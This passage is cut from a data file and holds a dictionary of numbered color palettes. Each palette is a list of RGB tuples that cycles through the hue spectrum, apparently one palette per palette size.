101, 144), (204, 101, 137), (204, 101, 130), (204, 101, 123), (204, 101, 116), (204, 101, 109)], 88: [(204, 101, 101), (204, 108, 101), (204, 115, 101), (204, 122, 101), (204, 129, 101), (204, 136, 101), (204, 143, 101), (204, 150, 101), (204, 157, 101), (204, 164, 101), (204, 171, 101), (204, 178, 101), (204, 185, 101), (204, 192, 101), (204, 199, 101), (201, 204, 101), (194, 204, 101), (187, 204, 101), (180, 204, 101), (173, 204, 101), (166, 204, 101), (159, 204, 101), (153, 204, 101), (146, 204, 101), (139, 204, 101), (132, 204, 101), (125, 204, 101), (118, 204, 101), (111, 204, 101), (104, 204, 101), (101, 204, 106), (101, 204, 113), (101, 204, 120), (101, 204, 127), (101, 204, 134), (101, 204, 141), (101, 204, 148), (101, 204, 155), (101, 204, 162), (101, 204, 169), (101, 204, 176), (101, 204, 183), (101, 204, 190), (101, 204, 197), (101, 204, 204), (101, 197, 204), (101, 190, 204), (101, 183, 204), (101, 176, 204), (101, 169, 204), (101, 162, 204), (101, 155, 204), (101, 148, 204), (101, 141, 204), (101, 134, 204), (101, 127, 204), (101, 120, 204), (101, 113, 204), (101, 106, 204), (104, 101, 204), (111, 101, 204), (118, 101, 204), (125, 101, 204), (132, 101, 204), (139, 101, 204), (146, 101, 204), (152, 101, 204), (159, 101, 204), (166, 101, 204), (173, 101, 204), (180, 101, 204), (187, 101, 204), (194, 101, 204), (201, 101, 204), (204, 101, 199), (204, 101, 192), (204, 101, 185), (204, 101, 178), (204, 101, 171), (204, 101, 164), (204, 101, 157), (204, 101, 150), (204, 101, 143), (204, 101, 136), (204, 101, 129), (204, 101, 122), (204, 101, 115), (204, 101, 108)], 89: [(204, 101, 101), (204, 108, 101), (204, 115, 101), (204, 122, 101), (204, 129, 101), (204, 136, 101), (204, 143, 101), (204, 150, 101), (204, 157, 101), (204, 163, 101), (204, 170, 101), (204, 177, 101), (204, 184, 101), (204, 191, 101), (204, 198, 101), (202, 204, 101), (195, 204, 101), (189, 204, 101), (182, 204, 101), (175, 204, 101), (168, 204, 101), (161, 204, 101), (154, 204, 101), (147, 204, 101), (140, 204, 101), (134, 204, 101), (127, 204, 101), (120, 204, 101), (113, 204, 101), (106, 204, 101), (101, 204, 104), (101, 204, 111), (101, 204, 118), (101, 204, 124), (101, 204, 131), (101, 204, 138), (101, 204, 145), (101, 204, 152), (101, 204, 159), (101, 204, 166), (101, 204, 173), (101, 204, 179), (101, 204, 186), (101, 204, 193), (101, 204, 200), (101, 200, 204), (101, 193, 204), (101, 186, 204), (101, 179, 204), (101, 173, 204), (101, 166, 204), (101, 159, 204), (101, 152, 204), (101, 145, 204), (101, 138, 204), (101, 131, 204), (101, 124, 204), (101, 118, 204), (101, 111, 204), (101, 104, 204), (106, 101, 204), (113, 101, 204), (120, 101, 204), (127, 101, 204), (134, 101, 204), (140, 101, 204), (147, 101, 204), (154, 101, 204), (161, 101, 204), (168, 101, 204), (175, 101, 204), (182, 101, 204), (189, 101, 204), (195, 101, 204), (202, 101, 204), (204, 101, 198), (204, 101, 191), (204, 101, 184), (204, 101, 177), (204, 101, 170), (204, 101, 163), (204, 101, 157), (204, 101, 150), (204, 101, 143), (204, 101, 136), (204, 101, 129), (204, 101, 122), (204, 101, 115), (204, 101, 108)], 90: [(204, 101, 101), (204, 108, 101), (204, 115, 101), (204, 122, 101), (204, 129, 101), (204, 136, 101), (204, 142, 101), (204, 149, 101), (204, 156, 101), (204, 163, 101), (204, 170, 101), (204, 176, 101), (204, 183, 101), (204, 190, 101), (204, 197, 101), (204, 204, 101), (197, 204, 101), (190, 204, 101), (183, 204, 101), (176, 204, 101), (169, 204, 101), (163, 204, 101), (156, 204, 101), (149, 204, 101), (142, 204, 101), (136, 204, 101), (129, 204, 101), (122, 204, 101), (115, 204, 101), (108, 204, 101), (101, 204, 102), (101, 204, 108), (101, 204, 115), (101, 204, 122), (101, 204, 129), (101, 204, 135), (101, 204, 142), (101, 204, 149), (101, 204, 156), (101, 204, 163), (101, 204, 170), (101, 204, 176), (101, 204, 183), (101, 204, 190), (101, 204, 197), (101, 204, 204), (101, 197, 204), (101, 190, 204), (101, 183, 204), (101, 176, 204), (101, 169, 204), (101, 163, 204), (101, 156, 204), (101, 149, 204), (101, 142, 204), (101, 135, 204), (101, 129, 204), (101, 122, 204), (101, 115, 204), (101, 108, 204), (101, 101, 204), (108, 101, 204), (115, 101, 204), (122, 101, 204), (129, 101, 204), (136, 101, 204), (142, 101, 204), (149, 101, 204), (156, 101, 204), (163, 101, 204), (169, 101, 204), (176, 101, 204), (183, 101, 204), (190, 101, 204), (197, 101, 204), (204, 101, 203), (204, 101, 197), (204, 101, 190), (204, 101, 183), (204, 101, 176), (204, 101, 169), (204, 101, 163), (204, 101, 156), (204, 101, 149), (204, 101, 142), (204, 101, 135), (204, 101, 129), (204, 101, 122), (204, 101, 115), (204, 101, 108)], 91: [(204, 101, 101), (204, 108, 101), (204, 115, 101), (204, 122, 101), (204, 128, 101), (204, 135, 101), (204, 142, 101), (204, 149, 101), (204, 155, 101), (204, 162, 101), (204, 169, 101), (204, 175, 101), (204, 182, 101), (204, 189, 101), (204, 196, 101), (204, 202, 101), (198, 204, 101), (191, 204, 101), (184, 204, 101), (178, 204, 101), (171, 204, 101), (164, 204, 101), (158, 204, 101), (151, 204, 101), (144, 204, 101), (137, 204, 101), (131, 204, 101), (124, 204, 101), (117, 204, 101), (110, 204, 101), (104, 204, 101), (101, 204, 106), (101, 204, 113), (101, 204, 119), (101, 204, 126), (101, 204, 133), (101, 204, 140), (101, 204, 146), (101, 204, 153), (101, 204, 160), (101, 204, 167), (101, 204, 173), (101, 204, 180), (101, 204, 187), (101, 204, 193), (101, 204, 200), (101, 200, 204), (101, 193, 204), (101, 187, 204), (101, 180, 204), (101, 173, 204), (101, 167, 204), (101, 160, 204), (101, 153, 204), (101, 146, 204), (101, 140, 204), (101, 133, 204), (101, 126, 204), (101, 119, 204), (101, 113, 204), (101, 106, 204), (104, 101, 204), (110, 101, 204), (117, 101, 204), (124, 101, 204), (131, 101, 204), (137, 101, 204), (144, 101, 204), (151, 101, 204), (158, 101, 204), (164, 101, 204), (171, 101, 204), (178, 101, 204), (184, 101, 204), (191, 101, 204), (198, 101, 204), (204, 101, 202), (204, 101, 196), (204, 101, 189), (204, 101, 182), (204, 101, 175), (204, 101, 169), (204, 101, 162), (204, 101, 155), (204, 101, 149), (204, 101, 142), (204, 101, 135), (204, 101, 128), (204, 101, 122), (204, 101, 115), (204, 101, 108)], 92: [(204, 101, 101), (204, 108, 101), (204, 115, 101), (204, 121, 101), (204, 128, 101), (204, 135, 101), (204, 141, 101), (204, 148, 101), (204, 155, 101), (204, 161, 101), (204, 168, 101), (204, 175, 101), (204, 181, 101), (204, 188, 101), (204, 195, 101), (204, 201, 101), (199, 204, 101), (192, 204, 101), (186, 204, 101), (179, 204, 101), (172, 204, 101), (166, 204, 101), (159, 204, 101), (153, 204, 101), (146, 204, 101), (139, 204, 101), (133, 204, 101), (126, 204, 101), (119, 204, 101), (113, 204, 101), (106, 204, 101), (101, 204, 104), (101, 204, 110), (101, 204, 117), (101, 204, 124), (101, 204, 130), (101, 204, 137), (101, 204, 144), (101, 204, 150), (101, 204, 157), (101, 204, 164), (101, 204, 170), (101, 204, 177), (101, 204, 184), (101, 204, 190), (101, 204, 197), (101, 204, 204), (101, 197, 204), (101, 190, 204), (101, 184, 204), (101, 177, 204), (101, 170, 204), (101, 164, 204), (101, 157, 204), (101, 150, 204), (101, 144, 204), (101, 137, 204), (101, 130, 204), (101, 124, 204), (101, 117, 204), (101, 110, 204), (101, 104, 204), (106, 101, 204), (113, 101, 204), (119, 101, 204), (126, 101, 204), (133, 101, 204), (139, 101, 204), (146, 101, 204), (152, 101, 204), (159, 101, 204), (166, 101, 204), (172, 101, 204), (179, 101, 204), (186, 101, 204), (192, 101, 204), (199, 101, 204), (204, 101, 201), (204, 101, 195), (204, 101, 188), (204, 101, 181), (204, 101, 175), (204, 101, 168), (204, 101, 161), (204, 101, 155), (204, 101, 148), (204, 101, 141), (204, 101, 135), (204, 101, 128), (204, 101, 121), (204, 101, 115), (204, 101, 108)], 93: [(204, 101, 101), (204, 108, 101), (204, 115, 101), (204, 121, 101), (204, 128, 101), (204, 134, 101), (204, 141, 101), (204, 148, 101), (204, 154, 101), (204, 161, 101), (204, 167, 101), (204, 174, 101), (204, 180, 101), (204, 187, 101), (204, 194, 101), (204, 200, 101), (200, 204, 101), (194, 204, 101), (187, 204, 101), (180, 204, 101), (174, 204, 101), (167, 204, 101), (161, 204, 101), (154, 204, 101), (148, 204, 101), (141, 204, 101), (134, 204, 101), (128, 204, 101), (121, 204, 101), (115, 204, 101), (108, 204, 101), (101, 204, 102), (101, 204, 108), (101, 204, 115), (101, 204, 121), (101, 204, 128), (101, 204, 134), (101, 204, 141), (101, 204, 148), (101, 204, 154), (101, 204, 161), (101, 204, 167), (101, 204, 174), (101, 204, 180), (101, 204, 187), (101, 204, 194), (101, 204, 200), (101, 200, 204), (101, 194, 204), (101, 187, 204), (101, 180, 204), (101, 174, 204), (101, 167, 204), (101, 161, 204), (101, 154, 204), (101, 148, 204), (101, 141, 204), (101, 134, 204), (101, 128, 204), (101, 121, 204), (101, 115, 204), (101, 108, 204), (101, 101, 204), (108, 101, 204), (115, 101, 204), (121, 101, 204), (128, 101, 204), (134, 101, 204), (141, 101, 204), (148, 101, 204), (154, 101, 204), (161, 101, 204), (167, 101, 204), (174, 101, 204), (180, 101, 204), (187, 101, 204), (194, 101, 204), (200, 101, 204), (204, 101, 200), (204, 101, 194), (204, 101, 187), (204, 101, 180), (204, 101, 174), (204, 101, 167), (204, 101, 161), (204, 101, 154), (204, 101, 148), (204, 101, 141), (204, 101, 134), (204, 101, 128), (204, 101, 121), (204, 101, 115), (204, 101, 108)], 94: [(204, 101, 101), (204, 108, 101), (204, 115, 101), (204, 121, 101), (204, 128, 101), (204, 134, 101), (204, 141, 101), (204, 147, 101), (204, 154, 101), (204, 160, 101), (204, 167, 101), (204, 173, 101), (204, 180, 101), (204, 186, 101), (204, 193, 101), (204, 199, 101), (201, 204, 101), (195, 204, 101), (188, 204, 101), (182, 204, 101), (175, 204, 101), (169, 204, 101), (162, 204, 101), (156, 204, 101), (149, 204, 101), (143, 204, 101), (136, 204, 101), (130, 204, 101), (123, 204, 101), (117, 204, 101), (110, 204, 101), (104, 204, 101), (101, 204, 106), (101, 204, 112), (101, 204, 119), (101, 204, 125), (101, 204, 132), (101, 204, 138), (101, 204, 145), (101, 204, 151), (101, 204, 158), (101, 204, 164), (101, 204, 171), (101, 204, 177), (101, 204, 184), (101, 204, 190), (101, 204, 197), (101, 204, 204), (101, 197, 204), (101, 190, 204), (101, 184, 204), (101, 177, 204), (101, 171, 204), (101, 164, 204), (101, 158, 204), (101, 151, 204), (101, 145, 204), (101, 138, 204), (101, 132, 204), (101, 125, 204), (101, 119, 204), (101, 112, 204), (101, 106, 204), (104, 101, 204), (110, 101, 204), (117, 101, 204), (123, 101, 204), (130, 101, 204), (136, 101, 204), (143, 101, 204), (149, 101, 204), (156, 101, 204), (162, 101, 204), (169, 101, 204), (175, 101, 204), (182, 101, 204), (188, 101, 204), (195, 101, 204), (201, 101, 204), (204, 101, 199), (204, 101, 193), (204, 101, 186), (204, 101, 180), (204, 101, 173), (204, 101, 167), (204, 101, 160), (204, 101, 154), (204, 101, 147), (204, 101, 141), (204, 101, 134), (204, 101, 128), (204, 101, 121), (204, 101, 115), (204, 101, 108)], 95: [(204, 101, 101), (204, 108, 101), (204, 114, 101), (204, 121, 101), (204, 127, 101), (204, 134, 101), (204, 140, 101), (204, 147, 101), (204, 153, 101), (204, 159, 101), (204, 166, 101), (204, 172, 101), (204, 179, 101), (204, 185, 101), (204, 192, 101), (204, 198, 101), (202, 204, 101), (196, 204, 101), (190, 204, 101), (183, 204, 101), (177, 204, 101), (170, 204, 101), (164, 204, 101), (157, 204, 101), (151, 204, 101), (144, 204, 101), (138, 204, 101), (132, 204, 101), (125, 204, 101), (119, 204, 101), (112, 204, 101), (106, 204, 101), (101, 204, 104), (101, 204, 110), (101, 204, 117), (101, 204, 123), (101, 204, 129), (101, 204, 136), (101, 204, 142), (101, 204, 149), (101, 204, 155), (101, 204, 162), (101, 204, 168), (101, 204, 175), (101, 204, 181), (101, 204, 187), (101, 204, 194), (101, 204, 200), (101, 200, 204), (101, 194, 204), (101, 187, 204), (101, 181, 204), (101, 175, 204), (101, 168, 204), (101, 162, 204), (101, 155, 204), (101, 149, 204), (101, 142, 204), (101, 136, 204), (101, 129, 204), (101, 123, 204), (101, 117, 204), (101, 110, 204), (101, 104, 204), (106, 101, 204), (112, 101, 204), (119, 101, 204), (125, 101, 204), (132, 101, 204), (138, 101, 204), (144, 101, 204), (151, 101, 204), (157, 101, 204), (164, 101, 204), (170, 101, 204), (177, 101, 204), (183, 101, 204), (190, 101, 204), (196, 101, 204), (202, 101, 204), (204, 101, 198), (204, 101, 192), (204, 101, 185), (204, 101, 179), (204, 101, 172), (204, 101, 166), (204, 101, 159), (204, 101, 153), (204, 101, 147), (204, 101, 140), (204, 101, 134), (204, 101, 127), (204, 101, 121), (204, 101, 114), (204, 101, 108)], 96: [(204, 101, 101), (204, 108, 101), (204, 114, 101), (204, 121, 101), (204, 127, 101), (204, 133, 101), (204, 140, 101), (204, 146, 101), (204, 152, 101), (204, 159, 101), (204, 165, 101), (204, 172, 101), (204, 178, 101), (204, 184, 101), (204, 191, 101), (204, 197, 101), (204, 204, 101), (197, 204, 101), (191, 204, 101), (184, 204, 101), (178, 204, 101), (172, 204, 101), (165, 204, 101), (159, 204, 101), (153, 204, 101), (146, 204, 101), (140, 204, 101), (133, 204, 101), (127, 204, 101), (121, 204, 101), (114, 204, 101), (108, 204, 101), (102, 204, 101), (101, 204, 108), (101, 204, 114), (101, 204, 121), (101, 204, 127), (101, 204, 133), (101, 204, 140), (101, 204, 146), (101, 204, 152), (101, 204, 159), (101, 204, 165), (101, 204, 172), (101, 204, 178), (101, 204, 184), (101, 204, 191), (101, 204, 197), (101, 204, 204), (101, 197, 204), (101, 191, 204), (101, 184, 204), (101, 178, 204), (101, 172, 204), (101, 165, 204), (101, 159, 204), (101, 153, 204), (101, 146, 204), (101, 140, 204), (101, 133, 204), (101, 127, 204), (101, 121, 204), (101, 114, 204), (101, 108, 204), (101, 102, 204), (108, 101, 204), (114, 101, 204), (121, 101, 204), (127, 101, 204), (133, 101, 204), (140, 101, 204), (146, 101, 204), (152, 101, 204), (159, 101, 204), (165, 101, 204), (172, 101, 204), (178, 101, 204), (184, 101, 204), (191, 101, 204), (197, 101, 204), (203, 101, 204), (204, 101, 197), (204, 101, 191), (204, 101, 184), (204, 101, 178), (204, 101, 172), (204, 101, 165), (204, 101, 159), (204, 101, 153), (204, 101, 146), (204, 101, 140), (204, 101, 133), (204, 101, 127), (204, 101, 121), (204, 101, 114), (204, 101, 108)], 97: [(204, 101, 101), (204, 108, 101), (204, 114, 101), (204, 120, 101), (204, 127, 101), (204, 133, 101), (204, 139, 101), (204, 146, 101), (204, 152, 101), (204, 158, 101), (204, 165, 101), (204, 171, 101), (204, 177, 101), (204, 184, 101), (204, 190, 101), (204, 196, 101), (204, 202, 101), (198, 204, 101), (192, 204, 101), (186, 204, 101), (179, 204, 101), (173, 204, 101), (167, 204, 101), (160, 204, 101), (154, 204, 101), (148, 204, 101), (141, 204, 101), (135, 204, 101), (129, 204, 101), (123, 204, 101), (116, 204, 101), (110, 204, 101), (104, 204, 101), (101, 204, 106), (101, 204, 112), (101, 204, 118), (101, 204, 125), (101, 204, 131), (101, 204, 137), (101, 204, 144), (101, 204, 150), (101, 204, 156), (101, 204, 162), (101, 204, 169), (101, 204, 175), (101, 204, 181), (101, 204, 188), (101, 204, 194), (101, 204, 200), (101, 200, 204), (101, 194, 204), (101, 188, 204), (101, 181, 204), (101, 175, 204), (101, 169, 204), (101, 162, 204), (101, 156, 204), (101, 150, 204), (101, 144, 204), (101, 137, 204), (101, 131, 204), (101, 125, 204), (101, 118, 204), (101, 112, 204), (101, 106, 204), (104, 101, 204), (110, 101, 204), (116, 101, 204), (123, 101, 204), (129, 101, 204), (135, 101, 204), (141, 101, 204), (148, 101, 204), (154, 101, 204), (160, 101, 204), (167, 101, 204), (173, 101, 204), (179, 101, 204), (186, 101, 204), (192, 101, 204), (198, 101, 204), (204, 101, 202), (204, 101, 196), (204, 101, 190), (204, 101, 184), (204, 101, 177), (204, 101, 171), (204, 101, 165), (204, 101, 158), (204, 101, 152), (204, 101, 146), (204, 101, 139), (204, 101, 133), (204, 101, 127), (204, 101, 120), (204, 101, 114), (204, 101, 108)], 98: [(204, 101, 101), (204, 108, 101), (204, 114, 101), (204, 120, 101), (204, 126, 101), (204, 133, 101), (204, 139, 101), (204, 145, 101), (204, 151, 101), (204, 158, 101), (204, 164, 101), (204, 170, 101), (204, 176, 101), (204, 183, 101), (204, 189, 101), (204, 195, 101), (204, 201, 101), (199, 204, 101), (193, 204, 101), (187, 204, 101), (181, 204, 101), (174, 204, 101), (168, 204, 101), (162, 204, 101), (156, 204, 101), (149, 204, 101), (143, 204, 101), (137, 204, 101), (131, 204, 101), (124, 204, 101), (118, 204, 101), (112, 204, 101), (106, 204, 101), (101, 204, 104), (101, 204, 110), (101, 204, 116), (101, 204, 122), (101, 204, 129), (101, 204, 135), (101, 204, 141), (101, 204, 147), (101, 204, 154), (101, 204, 160), (101, 204, 166), (101, 204, 172), (101, 204, 179), (101, 204, 185), (101, 204, 191), (101, 204, 197), (101, 204, 204), (101, 197, 204), (101, 191, 204), (101, 185, 204), (101, 179, 204), (101, 172, 204), (101, 166, 204), (101, 160, 204), (101, 154, 204), (101, 147, 204), (101, 141, 204), (101, 135, 204), (101, 129, 204), (101, 122, 204), (101, 116, 204), (101, 110, 204), (101, 104, 204), (106, 101, 204), (112, 101, 204), (118, 101, 204), (124, 101, 204), (131, 101, 204), (137, 101, 204), (143, 101, 204), (149, 101, 204), (156, 101, 204), (162, 101, 204), (168, 101, 204), (174, 101, 204), (181, 101, 204), (187, 101, 204), (193, 101, 204), (199, 101, 204), (204, 101, 201), (204, 101, 195), (204, 101, 189), (204, 101, 183), (204, 101, 176), (204, 101, 170), (204, 101, 164), (204, 101, 158), (204, 101, 151), (204, 101, 145), (204, 101, 139), (204, 101, 133), (204, 101, 126), (204, 101, 120), (204, 101, 114), (204, 101, 108)], 99: [(204, 101, 101), (204, 108, 101), (204, 114, 101), (204, 120, 101), (204, 126, 101), (204, 132, 101), (204, 139, 101), (204, 145, 101), (204, 151, 101), (204, 157, 101), (204, 163, 101), (204, 170, 101), (204, 176, 101), (204, 182, 101), (204, 188, 101), (204, 194, 101), (204, 200, 101), (200, 204, 101), (194, 204, 101), (188, 204, 101), (182, 204, 101), (176, 204, 101), (169, 204, 101), (163, 204, 101), (157, 204, 101), (151, 204, 101), (145, 204, 101), (139, 204, 101), (132, 204, 101), (126, 204, 101), (120, 204, 101), (114, 204, 101), (108, 204, 101), (101, 204, 102), (101, 204, 108), (101, 204, 114), (101, 204, 120), (101, 204, 126), (101, 204, 132), (101, 204, 139), (101, 204, 145), (101, 204, 151), (101, 204, 157), (101, 204, 163), (101, 204, 170), (101, 204, 176), (101, 204, 182), (101, 204, 188), (101, 204, 194), (101, 204, 200), (101, 200, 204), (101, 194, 204), (101, 188, 204), (101, 182, 204), (101, 176, 204), (101, 169, 204), (101, 163, 204), (101, 157, 204), (101, 151, 204), (101, 145, 204), (101, 139, 204), (101, 132, 204), (101, 126, 204), (101, 120, 204), (101, 114, 204), (101, 108, 204), (101, 101, 204), (108, 101, 204), (114, 101, 204), (120, 101, 204), (126, 101, 204), (132, 101, 204), (139, 101, 204), (145, 101, 204), (151, 101, 204), (157, 101, 204), (163, 101, 204), (169, 101, 204), (176, 101, 204), (182, 101, 204), (188, 101, 204), (194, 101, 204), (200, 101, 204), (204, 101, 200), (204, 101, 194), (204, 101, 188), (204, 101, 182), (204, 101, 176), (204, 101, 169), (204, 101, 163), (204, 101, 157), (204, 101, 151), (204, 101, 145), (204, 101, 139), (204, 101, 132), (204, 101, 126), (204, 101, 120), (204, 101, 114), (204, 101, 108)], 100: [(204, 101, 101), (204, 108, 101), (204, 114, 101), (204, 120, 101), (204, 126, 101), (204, 132, 101), (204, 138, 101), (204, 144, 101), (204, 150, 101), (204, 157, 101), (204, 163, 101), (204, 169, 101), (204, 175, 101), (204, 181, 101), (204, 187, 101), (204, 193, 101), (204, 199, 101), (201, 204, 101), (195, 204, 101), (189, 204, 101), (183, 204, 101), (177, 204, 101), (171, 204, 101), (165, 204, 101), (159, 204, 101), (153, 204, 101), (146, 204, 101), (140, 204, 101), (134, 204, 101), (128, 204, 101), (122, 204, 101), (116, 204, 101), (110, 204, 101), (104, 204, 101), (101, 204, 106), (101, 204, 112), (101, 204, 118), (101, 204, 124), (101, 204, 130), (101, 204, 136), (101, 204, 142), (101, 204, 148), (101, 204, 155), (101, 204, 161), (101, 204, 167), (101, 204, 173), (101, 204, 179), (101, 204, 185), (101, 204, 191), (101, 204, 197), (101, 204, 204), (101, 197, 204), (101, 191, 204), (101, 185, 204), (101, 179, 204), (101, 173, 204), (101, 167, 204), (101, 161, 204), (101, 155, 204), (101, 148, 204), (101, 142, 204), (101, 136, 204), (101, 130, 204), (101, 124, 204), (101, 118, 204), (101, 112, 204), (101, 106, 204), (104, 101, 204), (110, 101, 204), (116, 101, 204), (122, 101, 204), (128, 101, 204), (134, 101, 204), (140, 101, 204), (146, 101, 204), (152, 101, 204), (159, 101, 204), (165, 101, 204), (171, 101, 204), (177, 101, 204), (183, 101, 204), (189, 101, 204), (195, 101, 204), (201, 101, 204), (204, 101, 199), (204, 101, 193), (204, 101, 187), (204, 101, 181), (204, 101, 175), (204, 101, 169), (204, 101, 163), (204, 101, 157), (204, 101, 150), (204, 101, 144), (204, 101, 138), (204, 101, 132), (204, 101, 126), (204, 101, 120), (204, 101, 114), (204, 101, 108)], 101: [(204, 101, 101), (204, 108, 101), (204, 114, 101), (204, 120, 101), (204, 126, 101), (204, 132, 101), (204, 138, 101), (204, 144, 101), (204, 150, 101), (204, 156, 101), (204, 162, 101), (204, 168, 101), (204, 174, 101), (204, 180, 101), (204, 186, 101), (204, 192, 101), (204, 198, 101), (202, 204, 101), (196, 204, 101), (190, 204, 101), (184, 204, 101), (178, 204, 101), (172, 204, 101), (166, 204, 101), (160, 204, 101), (154, 204, 101), (148, 204, 101), (142, 204, 101), (136, 204, 101), (130, 204, 101), (124, 204, 101), (118, 204, 101), (112, 204, 101), (106, 204, 101), (101, 204, 104), (101, 204, 110), (101, 204, 116), (101, 204, 122), (101, 204, 128), (101, 204, 134), (101, 204, 140), (101, 204, 146), (101, 204, 152), (101, 204, 158), (101, 204, 164), (101, 204, 170), (101, 204, 176), (101, 204, 182), (101, 204, 188), (101, 204, 194), (101, 204, 200), (101, 200, 204), (101, 194, 204), (101, 188, 204), (101, 182, 204), (101, 176, 204), (101, 170, 204), (101, 164, 204), (101, 158, 204), (101, 152, 204), (101, 146, 204), (101, 140, 204), (101, 134, 204), (101, 128, 204), (101, 122, 204), (101, 116, 204), (101, 110, 204), (101, 104, 204), (106, 101, 204), (112, 101, 204), (118, 101, 204), (124, 101, 204), (130, 101, 204), (136, 101, 204), (142, 101, 204), (148, 101, 204), (154, 101, 204), (160, 101, 204), (166, 101, 204), (172, 101, 204), (178, 101, 204), (184, 101, 204), (190, 101, 204), (196, 101, 204), (202, 101, 204), (204, 101, 198), (204, 101, 192), (204, 101, 186), (204, 101, 180), (204, 101, 174), (204, 101, 168), (204, 101, 162), (204, 101, 156), (204, 101, 150), (204, 101, 144), (204, 101, 138), (204, 101, 132), (204, 101, 126), (204, 101, 120), (204, 101, 114), (204, 101, 108)], 102: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 119, 101), (204, 126, 101), (204, 132, 101), (204, 138, 101), (204, 143, 101), (204, 149, 101), (204, 155, 101), (204, 162, 101), (204, 168, 101), (204, 174, 101), (204, 179, 101), (204, 185, 101), (204, 191, 101), (204, 197, 101), (204, 204, 101), (198, 204, 101), (192, 204, 101), (186, 204, 101), (180, 204, 101), (173, 204, 101), (167, 204, 101), (162, 204, 101), (156, 204, 101), (150, 204, 101), (144, 204, 101), (138, 204, 101), (132, 204, 101), (125, 204, 101), (119, 204, 101), (114, 204, 101), (108, 204, 101), (102, 204, 101), (101, 204, 108), (101, 204, 114), (101, 204, 120), (101, 204, 126), (101, 204, 131), (101, 204, 137), (101, 204, 143), (101, 204, 149), (101, 204, 156), (101, 204, 162), (101, 204, 168), (101, 204, 174), (101, 204, 179), (101, 204, 186), (101, 204, 192), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 192, 204), (101, 186, 204), (101, 180, 204), (101, 173, 204), (101, 167, 204), (101, 162, 204), (101, 156, 204), (101, 149, 204), (101, 143, 204), (101, 137, 204), (101, 131, 204), (101, 125, 204), (101, 119, 204), (101, 114, 204), (101, 108, 204), (101, 102, 204), (107, 101, 204), (113, 101, 204), (119, 101, 204), (125, 101, 204), (132, 101, 204), (138, 101, 204), (143, 101, 204), (149, 101, 204), (155, 101, 204), (161, 101, 204), (167, 101, 204), (173, 101, 204), (179, 101, 204), (185, 101, 204), (191, 101, 204), (197, 101, 204), (204, 101, 203), (204, 101, 197), (204, 101, 191), (204, 101, 185), (204, 101, 179), (204, 101, 173), (204, 101, 167), (204, 101, 162), (204, 101, 156), (204, 101, 150), (204, 101, 143), (204, 101, 137), (204, 101, 131), (204, 101, 125), (204, 101, 119), (204, 101, 113), (204, 101, 107)], 103: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 119, 101), (204, 125, 101), (204, 131, 101), (204, 137, 101), (204, 143, 101), (204, 149, 101), (204, 155, 101), (204, 161, 101), (204, 167, 101), (204, 173, 101), (204, 179, 101), (204, 185, 101), (204, 191, 101), (204, 197, 101), (204, 203, 101), (199, 204, 101), (193, 204, 101), (187, 204, 101), (181, 204, 101), (175, 204, 101), (169, 204, 101), (163, 204, 101), (157, 204, 101), (151, 204, 101), (145, 204, 101), (139, 204, 101), (133, 204, 101), (127, 204, 101), (121, 204, 101), (115, 204, 101), (109, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 111), (101, 204, 117), (101, 204, 123), (101, 204, 129), (101, 204, 135), (101, 204, 141), (101, 204, 147), (101, 204, 153), (101, 204, 159), (101, 204, 165), (101, 204, 171), (101, 204, 177), (101, 204, 183), (101, 204, 189), (101, 204, 195), (101, 204, 201), (101, 201, 204), (101, 195, 204), (101, 189, 204), (101, 183, 204), (101, 177, 204), (101, 171, 204), (101, 165, 204), (101, 159, 204), (101, 153, 204), (101, 147, 204), (101, 141, 204), (101, 135, 204), (101, 129, 204), (101, 123, 204), (101, 117, 204), (101, 111, 204), (101, 105, 204), (103, 101, 204), (109, 101, 204), (115, 101, 204), (121, 101, 204), (127, 101, 204), (133, 101, 204), (139, 101, 204), (145, 101, 204), (151, 101, 204), (157, 101, 204), (163, 101, 204), (169, 101, 204), (175, 101, 204), (181, 101, 204), (187, 101, 204), (193, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 197), (204, 101, 191), (204, 101, 185), (204, 101, 179), (204, 101, 173), (204, 101, 167), (204, 101, 161), (204, 101, 155), (204, 101, 149), (204, 101, 143), (204, 101, 137), (204, 101, 131), (204, 101, 125), (204, 101, 119), (204, 101, 113), (204, 101, 107)], 104: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 119, 101), (204, 125, 101), (204, 131, 101), (204, 137, 101), (204, 143, 101), (204, 149, 101), (204, 154, 101), (204, 160, 101), (204, 166, 101), (204, 172, 101), (204, 178, 101), (204, 184, 101), (204, 190, 101), (204, 196, 101), (204, 202, 101), (200, 204, 101), (194, 204, 101), (188, 204, 101), (182, 204, 101), (176, 204, 101), (170, 204, 101), (164, 204, 101), (158, 204, 101), (153, 204, 101), (147, 204, 101), (141, 204, 101), (135, 204, 101), (129, 204, 101), (123, 204, 101), (117, 204, 101), (111, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 109), (101, 204, 115), (101, 204, 121), (101, 204, 127), (101, 204, 133), (101, 204, 139), (101, 204, 145), (101, 204, 151), (101, 204, 156), (101, 204, 162), (101, 204, 168), (101, 204, 174), (101, 204, 180), (101, 204, 186), (101, 204, 192), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 192, 204), (101, 186, 204), (101, 180, 204), (101, 174, 204), (101, 168, 204), (101, 162, 204), (101, 156, 204), (101, 151, 204), (101, 145, 204), (101, 139, 204), (101, 133, 204), (101, 127, 204), (101, 121, 204), (101, 115, 204), (101, 109, 204), (101, 103, 204), (105, 101, 204), (111, 101, 204), (117, 101, 204), (123, 101, 204), (129, 101, 204), (135, 101, 204), (141, 101, 204), (147, 101, 204), (152, 101, 204), (158, 101, 204), (164, 101, 204), (170, 101, 204), (176, 101, 204), (182, 101, 204), (188, 101, 204), (194, 101, 204), (200, 101, 204), (204, 101, 202), (204, 101, 196), (204, 101, 190), (204, 101, 184), (204, 101, 178), (204, 101, 172), (204, 101, 166), (204, 101, 160), (204, 101, 154), (204, 101, 149), (204, 101, 143), (204, 101, 137), (204, 101, 131), (204, 101, 125), (204, 101, 119), (204, 101, 113), (204, 101, 107)], 105: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 119, 101), (204, 125, 101), (204, 131, 101), (204, 136, 101), (204, 142, 101), (204, 148, 101), (204, 154, 101), (204, 160, 101), (204, 166, 101), (204, 171, 101), (204, 177, 101), (204, 183, 101), (204, 189, 101), (204, 195, 101), (204, 201, 101), (201, 204, 101), 